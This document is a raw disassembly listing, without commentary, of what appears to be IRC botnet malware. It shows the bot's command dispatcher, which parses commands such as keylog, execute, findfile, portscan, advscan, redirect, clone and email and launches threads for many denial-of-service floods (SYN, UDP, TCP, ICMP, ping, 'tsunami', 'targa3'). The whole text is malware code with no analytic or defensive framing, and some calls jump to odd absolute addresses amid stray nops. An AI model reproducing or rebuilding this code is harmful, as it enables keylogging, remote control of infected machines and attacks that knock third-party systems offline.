		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_430A3C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_4309FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_4309CC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_4309A4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_430978
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_443774[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset dword_430944
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_43090C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_4308EC
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_4308A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_43087C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_43085C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, (offset loc_429153+1)
		push	offset dword_4429D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_430838
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset dword_4307FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4D08F4, ebx
		jz	short loc_40604E
		cmp	dword_4D091C, ebx
		jz	short loc_40604E
		push	offset unk_4307C4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_4307A0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_430780
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_430744
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_430724
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_4306FC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_4306DC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_4306B0
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_430694
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_430E38
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_430518
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_4304D0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset dword_430494
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
		lea	eax, [ebp+var_4588]
		push	eax
		call	sub_41BEB0
		push	offset asc_43233C ; " "
		push	offset dword_430E34
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4D0794
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4D08A8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4D08A4
		push	[ebp+arg_10]
		mov	esi, eax
